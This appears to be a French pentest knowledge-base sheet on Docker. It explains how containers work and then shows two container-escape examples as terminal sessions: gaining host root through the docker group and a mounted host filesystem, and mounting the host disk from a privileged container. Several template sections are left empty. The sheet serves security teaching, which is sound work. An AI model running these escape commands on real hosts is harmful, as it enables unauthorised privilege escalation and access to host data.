Table des matières

Docker - Générique

Description

Docker est un logiciel de containerisation d'application. En d'autres termes, Docker vous permet de regrouper vos applications et toutes les dépendances nécessaires dans un conteneur virtuel, qui peut être exécuté sur n'importe quel ordinateur doté de Docker.

Docker fonctionne en utilisant des technologies de virtualisation du système d'exploitation. Lorsque vous exécutez une image Docker dans un conteneur, Docker crée un environnement virtuel isolé sur votre ordinateur, qui fonctionne de manière indépendante du reste de votre système.

Cet environnement virtuel est créé en utilisant des fonctionnalités de virtualisation telles que les namespaces et les cgroups de Linux :

Ainsi, lorsque vous exécutez une image Docker dans un conteneur, Docker crée un environnement virtuel isolé en utilisant les namespaces et les cgroups de Linux, et y exécute l'application décrite dans l'image. Cela permet de s'assurer que l'application est exécutée de manière totalement independante de l'environnement de l'hôte, ce qui facilite le déploiement et la gestion des applications.

Le fonctionnement de Docker repose sur l'utilisation de couches (layers en anglais). Chaque couche représente une modification apportée à l'image de base. Par exemple, si vous installez un logiciel supplémentaire dans votre image Docker, une nouvelle couche sera créée pour enregistrer cette modification.

L'avantage de cette approche est qu'elle permet de partager facilement les images Docker. Si vous utilisez une image qui a déjà été créée et modifiée par quelqu'un d'autre, vous n'avez besoin de télécharger que les couches qui ont été modifiées par rapport à l'image de base, ce qui rend le téléchargement beaucoup plus rapide. De plus, l'utilisation de couches permet de conserver l'historique des modifications apportées à l'image, ce qui peut être très pratique pour le débogage et la maintenance.

En résumé, Docker utilise des couches pour enregistrer les modifications apportées à une image de base, ce qui permet de partager facilement ces images et de conserver l'historique des modifications.

Prérequis d'exploitation

Pour exploiter des vulnérabilités sur Docker, il est nécessaire d’avoir accès à un export d'une image Docker, ou bien un shell directement dans un container exécutant l'image à analyser.

Connaissances nécessaires

Outils nécessaires

Flux d'exécution

Explorer

Récupérer différentes images Docker intéressantes à analyser depuis des registres en ligne comme Docker Hub ou GitLab.

Expérimenter

Il existe plusieurs façons d'analyser une image ou un container Docker à la recherche de vulnérabilités. Voici quelques approches courantes :

Exploiter

Conséquences potentielles

L'exploitation réussie de vulnérabilités sur Docker peut permettre :

Contre-mesures

Les contre-mesures suivantes peuvent être mises en œuvre :

Comment cela fonctionne ?

Les scénarios suivants peuvent être joués via l’exploitation de cette vulnérabilité :

Exemple 1

Si un attaquant réussit à compromettre une application s’exécutant dans un container Docker et que ce dernier est en mesure d’exécuter des commandes dans le conteneur avec un utilisateur sans privilèges, il peut réaliser une élévation de privilèges sur l’hôte dans le cas où le daemon Docker est exposé et que l’utilisateur est dans le groupe “docker” :

hellodocker@ubuntu:~$ find / -name docker.sock 2>/dev/null
  /run/docker.sock
 
hellodocker@ubuntu:~$ groups
  hellodocker docker
 
hellodocker@ubuntu:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
 
root@ubuntu:~$ id
  uid=0(root) gid=0(root) groups=0(root)

Cette commande permet de monter le répertoire / de l’hôte dans le répertoire /mnt d’un nouveau conteneur, puis avec chroot de se placer dans le nouveau contexte /mnt et de lancer un shell avec la commande sh.

Exemple 2

Les conteneurs Docker bien configurés n’autorisent normalement pas de commande comme fdisk -l. Cependant, si le conteneur est mal configuré et que l’argument —privileged est spécifié, il est possible d’obtenir les privilèges nécessaires pour obtenir un accès aux données présentes sur l’hôte :

root@99c2f98b5b62:/$ fdisk -l
Disk /dev/loop0: 4 KiB, 4096 bytes, 8 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
 
root@99c2f98b5b62:/$ fdisk -l | grep -i linux
/dev/nvme0n1p1    2048    1574911   1572864   768M Linux reserved
/dev/nvme0n1p5 1841152 1000215182 998374031 476.1G Linux reserved
 
root@99c2f98b5b62:/$ mkdir -p /mnt/escape
 
root@99c2f98b5b62:/$ mount /dev/nvme0n1p5 /mnt/escape/
 
root@99c2f98b5b62:/$ ls /mnt/escape
bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr

Avec les commandes précédentes, nous avons pu monter le disque contenant les données du système hôte directement à l’intérieur du conteneur. Avec ce type d’accès, nous pouvons avoir la possibilité de lire et modifier les données.

References

ATT&CK :

URL :

Retour fiches vulnérabilités